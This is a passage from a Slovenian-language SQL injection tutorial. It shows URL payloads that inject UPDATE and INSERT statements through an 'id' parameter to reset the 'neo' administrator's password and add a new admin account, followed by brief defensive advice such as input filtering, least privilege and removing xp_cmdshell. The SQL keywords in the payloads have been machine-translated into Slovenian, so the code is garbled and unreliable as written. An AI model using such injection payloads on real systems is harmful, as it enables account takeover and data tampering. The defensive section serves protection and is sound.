7.0 Kako spremeniti/vstaviti podatke v bazo podatkov?

Ko imamo imena vseh po stolpcih v tabeli, lahko posodobite (UPDATE) ali celo vstavite (INSERT) nov zapis v tabelo. Na primer, lahko spremenimo geslo za "neo":

http://duck/index.asp?id=10; POSODOBITE "admin_login" SET "password" = "newpas5" WHERE login_name="neo--

Če želite VSTAVITI nov zapis v bazo podatkov:

http://duck/index.asp?id=10; VSTAVITE V VREDNOSTI "admin_login" ("login_id", "login_name", "password", "details") (666,"neo2","newpas5","NA")--

Zdaj se bomo lahko prijavili kot "neo" z geslom "newpas5".

8.0 Kako se izogniti vbrizgavanju SQL?

Filtrirajte posebne znake v vseh vrsticah v:

Vsi podatki, ki jih vnese uporabnik
- Parametri URL-ja
- Piškotek

Za številske vrednosti jih pretvorite v celo število, preden jih posredujete poizvedbi SQL. Ali pa uporabite ISNUMERIC, da se prepričate, da je celo število.

Zaženite SQL Server kot uporabnik brez pravic.

Odstranite neuporabljene shranjene procedure: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask